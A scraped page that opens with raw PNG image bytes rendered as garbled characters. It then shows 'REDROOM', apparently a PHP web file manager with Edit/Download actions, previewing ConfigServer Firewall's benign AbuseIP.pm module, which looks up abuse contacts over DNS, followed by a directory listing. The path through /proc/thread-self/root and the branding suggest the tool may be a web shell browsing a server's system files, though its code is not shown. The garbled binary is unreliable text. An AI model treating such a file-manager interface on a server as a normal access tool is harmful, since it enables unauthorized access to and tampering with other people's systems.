PNG  IHDR* pHYs+ IDATx]n#; cdLb Ǚ[at¤_:uP}>!Usă cag޿ ֵNu`ݼTâabO7uL&y^wFٝA"l[|ŲHLN밪4*sG3|Dv}?+y߉{OuOAt4Jj.u]Gz*҉sP'VQKbA1u\`& Af;HWj hsO;ogTu uj7S3/QzUr&wS`M$X_L7r2;aE+ώ%vikDA:dR+%KzƉo>eOth$z%: :{WwaQ:wz%4foɹE[9<]#ERINƻv溂E%P1i01 |Jvҗ&{b?9g=^wζXn/lK::90KwrюO\!ջ3uzuGv^;騢wq<Iatv09:tt~hEG`v;3@MNZD.1]L:{ծI3`L(÷ba")Y.iljCɄae#I"1 `3*Bdz>j<fU40⨬%O$3cGt]j%Fߠ_twJ;ABU8vP3uEԑwQ V:h%))LfraqX-ۿX]v-\9I gl8tzX ]ecm)-cgʒ#Uw=Wlێn(0hPP/ӨtQ“&J35 $=]r1{tLuǮ*i0_;NƝ8;-vݏr8+U-kruȕYr0RnC]*ެ(M:]gE;{]tg(#ZJ9y>utRDRMdr9㪩̞zֹb<ģ&wzJM"iI( .ꮅX)Qw:9,i좜\Ԛi7&N0:asϓc];=ΗOӣ APqz93 y $)A*kVHZwBƺnWNaby>XMN*45~ղM6Nvm;A=jֲ.~1}(9`KJ/V F9[=`~[;sRuk]rєT!)iQO)Y$V ی ۤmzWz5IM Zb )ˆC`6 rRa}qNmUfDsWuˤV{ Pݝ'=Kֳbg,UҘVz2ﴻnjNgBb{? ߮tcsͻQuxVCIY۠:(V뺕 ٥2;t`@Fo{Z9`;]wMzU~%UA蛚dI vGq\r82iu +St`cR.6U/M9IENDB` REDROOM
PHP 5.6.40
Preview: AbuseIP.pm Size: 2.85 KB
/proc/thread-self/root/usr/src/csf/ConfigServer/AbuseIP.pm

###############################################################################
# Copyright 2006-2023, Way to the Web Limited
# URL: http://www.configserver.com
# Email: sales@waytotheweb.com
###############################################################################
## no critic (RequireUseWarnings, ProhibitExplicitReturnUndef, ProhibitMixedBooleanOperators, RequireBriefOpen)
# start main
package ConfigServer::AbuseIP;

use strict;
use lib '/usr/local/csf/lib';
use Carp;
use IPC::Open3;
use Net::IP;
use ConfigServer::Config;
use ConfigServer::CheckIP qw(checkip);

use Exporter qw(import);
our $VERSION     = 1.03;
our @ISA         = qw(Exporter);
our @EXPORT_OK   = qw(abuseip);

my $abusemsg = 'Abuse Contact for [ip]: [[contact]]

The Abuse Contact of this report was provided by the Abuse Contact DB by abusix.com. abusix.com does not maintain the content of the database. All information which we pass out, derives from the RIR databases and is processed for ease of use. If you want to change or report non working abuse contacts please contact the appropriate RIR. If you have any further question, contact abusix.com directly via email (info@abusix.com). Information about the Abuse Contact Database can be found here:

https://abusix.com/global-reporting/abuse-contact-db

abusix.com is neither responsible nor liable for the content or accuracy of this message.';

my $config = ConfigServer::Config->loadconfig();
my %config = $config->config();

# end main
###############################################################################
# start abuseip
sub abuseip {
	my $ip = shift;
	my $abuse = "";
	my $netip;
	my $reversed_ip;

	if (checkip(\$ip)) {
		eval {
			local $SIG{__DIE__} = undef;
			$netip = Net::IP->new($ip);
			$reversed_ip = $netip->reverse_ip();
		};
		
		if ($reversed_ip =~ /^(\S+)\.in-addr\.arpa/) {$reversed_ip = $1}
		if ($reversed_ip =~ /^(\S+)\s+(\S+)\.in-addr\.arpa/) {$reversed_ip = $2}
		if ($reversed_ip =~ /^(\S+)\.ip6\.arpa/) {$reversed_ip = $1}
		if ($reversed_ip =~ /^(\S+)\s+(\S+)\.ip6\.arpa/) {$reversed_ip = $2}

		if ($reversed_ip ne "") {
			$reversed_ip .= ".abuse-contacts.abusix.org";

			my $cmdpid;
			eval {
				local $SIG{__DIE__} = undef;
				local $SIG{'ALRM'} = sub {die};
				alarm(10);
				my ($childin, $childout);
				$cmdpid = open3($childin, $childout, $childout, $config{HOST},"-W","5","-t","TXT",$reversed_ip);
				close $childin;
				my @results = <$childout>;
				waitpid ($cmdpid, 0);
				chomp @results;
				if ($results[0] =~ /^${reversed_ip}.+"(.*)"$/) {$abuse = $1}
				alarm(0);
			};
			alarm(0);
			if ($cmdpid =~ /\d+/ and $cmdpid > 1 and kill(0,$cmdpid)) {kill(9,$cmdpid)}

			if ($abuse ne "") {
				my $msg = $abusemsg;
				$msg =~ s/\[ip\]/$ip/g;
				$msg =~ s/\[contact\]/$abuse/g;
				return $abuse, $msg;
			}
		}
	}
}
# end abuseip
###############################################################################

1;

Directory Contents

Dirs: 0 × Files: 24

Name Size Perms Modified Actions
2.85 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
3.01 KB lrw-r--r-- 2024-09-20 10:36:03
Edit Download
15.15 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
17.41 KB lrw-r--r-- 2025-02-25 16:16:09
Edit Download
36.03 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
10.16 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
138.08 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
3.62 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
2.19 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
2.43 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
1.83 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
11.41 KB lrw-r--r-- 2024-02-15 11:55:30
Edit Download
41.43 KB lrw-r--r-- 2023-10-02 11:23:25
Edit Download
5.69 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
6.77 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
2.92 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
44.17 KB lrw-r--r-- 2025-02-10 11:48:56
Edit Download
1.88 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
4.24 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
77.62 KB lrw-r--r-- 2024-09-20 10:36:03
Edit Download
134.43 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
2.88 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
1.56 KB lrw-r--r-- 2023-07-26 15:40:34
Edit Download
7.37 KB lrw-r--r-- 2025-02-10 12:06:08
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 REDROOM — Secure File Manager. All rights reserved. Built with ❤️ & Red Dark UI